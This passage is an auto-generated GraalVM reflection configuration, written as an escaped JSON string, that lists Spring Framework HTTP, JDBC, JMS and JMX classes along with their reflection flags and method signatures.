\"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpInputMessage\"\n},\n{\n  \"name\":\"org.springframework.http.HttpMethod\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpMimeTypesRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.HttpOutputMessage\"\n},\n{\n  \"name\":\"org.springframework.http.HttpRange\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpStatus\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.HttpStatusCode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.MediaType\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.http.MediaTypeEditor\"\n},\n{\n  \"name\":\"org.springframework.http.ProblemDetail\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.ReactiveHttpInputMessage\"\n},\n{\n  \"name\":\"org.springframework.http.ResponseEntity\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.client.AbstractClientHttpRequestFactoryWrapper\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"org.springframework.http.client.ClientHttpRequest\"\n},\n{\n  \"name\":\"org.springframework.http.client.ClientHttpRequestFactory\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.client.ClientHttpRequestInitializer\"\n},\n{\n  \"name\":\"org.springframework.http.client.ClientHttpRequestInterceptor\"\n},\n{\n  \"name\":\"org.springframework.http.client.HttpComponentsClientHttpRequestFactory\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.client.SimpleClientHttpRequestFactory\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.client.observation.ClientRequestObservationConvention\"\n},\n{\n  \"name\":\"org.springframework.http.codec.CodecConfigurer\"\n},\n{\n  \"name\":\"org.springframework.http.codec.CodecConfigurerRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.codec.multipart.DefaultPartHttpMessageReader\"\n},\n{\n  \"name\":\"org.springframework.http.converter.AbstractGenericHttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"canWrite\",\"parameterTypes\":[\"java.lang.reflect.Type\",\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"write\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Type\",\"org.springframework.http.MediaType\",\"org.springframework.http.HttpOutputMessage\"] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.AbstractHttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addDefaultHeaders\",\"parameterTypes\":[\"org.springframework.http.HttpHeaders\",\"java.lang.Object\",\"org.springframework.http.MediaType\"] }, {\"name\":\"canRead\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"canWrite\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"getContentLength\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.http.MediaType\"] }, {\"name\":\"getDefaultCharset\",\"parameterTypes\":[] }, {\"name\":\"getSupportedMediaTypes\",\"parameterTypes\":[] }, {\"name\":\"read\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.http.HttpInputMessage\"] }, {\"name\":\"setDefaultCharset\",\"parameterTypes\":[\"java.nio.charset.Charset\"] }, {\"name\":\"setSupportedMediaTypes\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"supportsRepeatableWrites\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"write\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.http.MediaType\",\"org.springframework.http.HttpOutputMessage\"] }, {\"name\":\"writeInternal\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.http.HttpOutputMessage\"] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.FormHttpMessageConverter\"\n},\n{\n  \"name\":\"org.springframework.http.converter.GenericHttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.http.converter.HttpMessageConversionException\"\n},\n{\n  \"name\":\"org.springframework.http.converter.HttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getSupportedMediaTypes\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.HttpMessageNotReadableException\"\n},\n{\n  \"name\":\"org.springframework.http.converter.HttpMessageNotWritableException\"\n},\n{\n  \"name\":\"org.springframework.http.converter.StringHttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"canRead\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"canRead\",\"parameterTypes\":[\"java.lang.reflect.Type\",\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"canWrite\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.http.MediaType\"] }, {\"name\":\"getObjectMapper\",\"parameterTypes\":[] }, {\"name\":\"getObjectMappersForType\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getSupportedMediaTypes\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"read\",\"parameterTypes\":[\"java.lang.reflect.Type\",\"java.lang.Class\",\"org.springframework.http.HttpInputMessage\"] }, {\"name\":\"registerObjectMappersForType\",\"parameterTypes\":[\"java.lang.Class\",\"java.util.function.Consumer\"] }, {\"name\":\"setObjectMapper\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.ObjectMapper\"] }, {\"name\":\"setPrettyPrint\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setSupportedMediaTypes\",\"parameterTypes\":[\"java.util.List\"] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.json.GsonHttpMessageConverter\"\n},\n{\n  \"name\":\"org.springframework.http.converter.json.Jackson2ObjectMapperBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.json.JacksonModulesRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.json.MappingJackson2HttpMessageConverter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.json.ProblemDetailJacksonMixin\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.http.converter.json.ProblemDetailRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.http.converter.support.AllEncompassingFormHttpMessageConverter\"\n},\n{\n  \"name\":\"org.springframework.http.server.PathContainer\"\n},\n{\n  \"name\":\"org.springframework.http.server.PathContainer$Options\"\n},\n{\n  \"name\":\"org.springframework.http.server.RequestPath\"\n},\n{\n  \"name\":\"org.springframework.http.server.observation.ServerRequestObservationContext\"\n},\n{\n  \"name\":\"org.springframework.http.server.observation.ServerRequestObservationConvention\"\n},\n{\n  \"name\":\"org.springframework.http.server.reactive.HttpHandler\"\n},\n{\n  \"name\":\"org.springframework.integration.config.EnableIntegration\"\n},\n{\n  \"name\":\"org.springframework.integration.graph.IntegrationGraphServer\"\n},\n{\n  \"name\":\"org.springframework.jdbc.SQLWarningException\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.BatchPreparedStatementSetter\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.CallableStatementCallback\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.CallableStatementCreator\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.ConnectionCallback\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.JdbcOperations\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.jdbc.core.JdbcTemplate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Collection\",\"int\",\"org.springframework.jdbc.core.ParameterizedPreparedStatementSetter\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.util.List\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.util.List\",\"int[]\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.BatchPreparedStatementSetter\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.BatchPreparedStatementSetter\",\"org.springframework.jdbc.support.KeyHolder\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"call\",\"parameterTypes\":[\"org.springframework.jdbc.core.CallableStatementCreator\",\"java.util.List\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.CallableStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"org.springframework.jdbc.core.CallableStatementCreator\",\"org.springframework.jdbc.core.CallableStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"org.springframework.jdbc.core.ConnectionCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.PreparedStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"org.springframework.jdbc.core.StatementCallback\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementSetter\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementSetter\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementSetter\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.ResultSetExtractor\",\"java.lang.Object[]\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowCallbackHandler\",\"java.lang.Object[]\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\",\"java.lang.Object[]\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\",\"java.lang.Object[]\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"java.lang.Class\"] }, {\"name\":\"queryForMap\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"queryForMap\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"queryForMap\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\",\"java.lang.Object[]\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\",\"java.lang.Object[]\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.Class\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"java.lang.Class\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForRowSet\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"queryForRowSet\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"queryForRowSet\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementSetter\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\",\"java.lang.Object[]\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementSetter\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"int[]\"] }, {\"name\":\"update\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\"] }, {\"name\":\"update\",\"parameterTypes\":[\"org.springframework.jdbc.core.PreparedStatementCreator\",\"org.springframework.jdbc.support.KeyHolder\"] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.core.ParameterizedPreparedStatementSetter\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.PreparedStatementCallback\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.PreparedStatementCreator\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.PreparedStatementCreatorFactory\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.PreparedStatementSetter\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.ResultSetExtractor\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.ResultSetSupportingSqlParameter\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.RowCallbackHandler\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.RowMapper\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.StatementCallback\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.namedparam.NamedParameterJdbcOperations\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map[]\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource[]\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource[]\",\"org.springframework.jdbc.support.KeyHolder\"] }, {\"name\":\"batchUpdate\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource[]\",\"org.springframework.jdbc.support.KeyHolder\",\"java.lang.String[]\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.PreparedStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.PreparedStatementCallback\"] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.PreparedStatementCallback\"] }, {\"name\":\"getJdbcOperations\",\"parameterTypes\":[] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.ResultSetExtractor\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.RowCallbackHandler\"] }, {\"name\":\"query\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"java.lang.Class\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\"] }, {\"name\":\"queryForList\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"java.lang.Class\"] }, {\"name\":\"queryForMap\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"queryForMap\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"java.lang.Class\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"java.lang.Class\"] }, {\"name\":\"queryForObject\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForRowSet\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"queryForRowSet\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"queryForStream\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.core.RowMapper\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.support.KeyHolder\"] }, {\"name\":\"update\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.jdbc.core.namedparam.SqlParameterSource\",\"org.springframework.jdbc.support.KeyHolder\",\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.core.namedparam.ParsedSql\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.namedparam.SqlParameterSource\"\n},\n{\n  \"name\":\"org.springframework.jdbc.core.simple.DefaultJdbcClient\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"sql\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.core.simple.JdbcClient\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.core.simple.JdbcClient$StatementSpec\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.DataSourceTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getDataSource\",\"parameterTypes\":[] }, {\"name\":\"getResourceFactory\",\"parameterTypes\":[] }, {\"name\":\"isEnforceReadOnly\",\"parameterTypes\":[] }, {\"name\":\"setDataSource\",\"parameterTypes\":[\"javax.sql.DataSource\"] }, {\"name\":\"setEnforceReadOnly\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.DelegatingDataSource\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.SimpleDriverDataSource\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseFactory$EmbeddedDataSourceProxy\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseFactoryRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseType\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.init.DatabasePopulator\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.init.ResourceDatabasePopulator\"\n},\n{\n  \"name\":\"org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource\"\n},\n{\n  \"name\":\"org.springframework.jdbc.support.JdbcAccessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"getDataSource\",\"parameterTypes\":[] }, {\"name\":\"getExceptionTranslator\",\"parameterTypes\":[] }, {\"name\":\"isLazyInit\",\"parameterTypes\":[] }, {\"name\":\"setDataSource\",\"parameterTypes\":[\"javax.sql.DataSource\"] }, {\"name\":\"setDatabaseProductName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setExceptionTranslator\",\"parameterTypes\":[\"org.springframework.jdbc.support.SQLExceptionTranslator\"] }, {\"name\":\"setLazyInit\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.support.JdbcTransactionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.jdbc.support.KeyHolder\"\n},\n{\n  \"name\":\"org.springframework.jdbc.support.SQLExceptionTranslator\"\n},\n{\n  \"name\":\"org.springframework.jdbc.support.rowset.SqlRowSet\"\n},\n{\n  \"name\":\"org.springframework.jms.core.JmsTemplate\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.MBeanExportException\"\n},\n{\n  \"name\":\"org.springframework.jmx.export.MBeanExportOperations\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.jmx.export.MBeanExporter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  